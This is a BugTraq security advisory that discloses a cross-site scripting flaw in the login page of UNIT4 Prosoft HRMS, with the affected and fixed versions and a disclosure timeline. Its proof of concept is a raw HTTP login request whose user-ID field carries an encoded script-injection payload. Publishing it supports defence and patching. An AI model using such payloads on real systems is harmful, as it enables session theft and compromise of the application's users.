BugTraq
UNIT4 Prosoft HRMS XSS Vulnerability Feb 13 2015 04:05PM
jerold v00d00sec com
# Vulnerability type: Cross-site Scripting
# Vendor: http://www.unit4.com/
# Product: UNIT4 Prosoft HRMS
# Product site: http://www.unit4apac.com/products/prosofthrms
# Affected version: 8.14.230.47
# Fixed version: 8.14.330.43
# Credit: Jerold Hoong & Edric Teo

# PROOF OF CONCEPT

The login page of UNIT4's Prosoft HRMS is vulnerable to cross-site scripting.

POST /Login.aspx?ReturnUrl=%2fCommon%2fBroadcastMessageDisplay.aspx%3fUrlRefe
rrerCode
%3d&UrlReferrerCode HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=teuq5d45e53ecg45mzptyv55
Host: 127.0.0.1
Content-Length: 1276
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-SG

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjAyNzEwNDEyOQ9kFg
QCAQ9
kFgICAQ8WAh4EVGV4dAVfPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJBcHBfVGh
lbWVzL1BTRGV
mYXVsdC9JbWFnZXMvRmF2SWNvbi5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz5kAgMPZBY
KAgEPZBYCAgMP
DxYCHgdWaXNpYmxlaGRkAgMPZBYCZg8PFgIfAAU0VGhlIGNvZGUgY29udGFpbnMgaW52YWxp
ZCBjaGFyYWN
0ZXJzLiAoVVNSLlVzZXJDb2RlKWRkAgUPDxYCHwAFBlY4IFVBVGRkAgcPZBYWAgEPZBYEAgE
PDxYCHwAFC0
NsaWVudCBDb2RlZGQCBQ8PFgIeDEVycm9yTWVzc2FnZQUIUmVxdWlyZWRkZAIDD2QWBAIBDw
8WAh8ABQ
ZTZXJ2ZXJkZAIDDxBkZBYAZAIFD2QWBAIBDw8WAh8ABQhEYXRhYmFzZWRkAgUPDxYCHwIFCF
JlcXVpcmV
kZGQCBw9kFgQCAQ8PFgIfAAULTERBUCBEb21haW5kZAIDDxBkZBYAZAIJDw8WAh8ABQdVc2V
yIElEZGQCCw
8PZBYCHgxhdXRvY29tcGxldGUFA29mZmQCDQ8PFgIfAgUIUmVxdWlyZWRkZAIPDw8WAh8ABQ
hQYXNzd29yZ
GRkAhMPDxYCHwFoZBYEAgEPDxYCHwAFCExhbmd1YWdlZGQCAw8QZGQWAGQCFQ8PFgIfAAUVR
m9yZ290I
HlvdXIgcGFzc3dvcmQ%2FZGQCFw8PFgYfAAUHU2lnbiBJbh4EXyFTQgKAAh4FV2lkdGgbAAA
AAADAUkABAAAA
ZGQCCw9kFgJmD2QWBAIDDxYCHwAFQkNvcHlyaWdodCDCqSAyMDExIFVOSVQ0IEFzaWEgUGFj
aWZpYyBQd
GUgTHRkLiBBbGwgUmlnaHRzIFJlc2VydmVkLmQCBQ8WAh8ABRNWZXJzaW9uIDguMTQuMzMwL
jQzZGSwnj3
yxmGDZ9jR0wKr5HZldmVj4w%3D%3D&__EVENTVALIDATION=%2FwEWBQLctJOuBALT8dy8BQ
K1qbSRCwL
WxaLXDALD94uUBwZOBjPAY1F7DZ4L5a8tZ4BpX9CW&txtUserID=%22%3E%3Cscript%3Eal
ert%281%29%3B%3
C%2Fscript%3E&txtPassword=&btnSignIn=Sign+In

# TIMELINE
? 28/10/2014: Vulnerability found
? 04/11/2014: Vendor informed
? 04/11/2014: Vendor responded
? 30/11/2014: Vendor fixed the issue
? 14/02/2015: Public disclosure

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus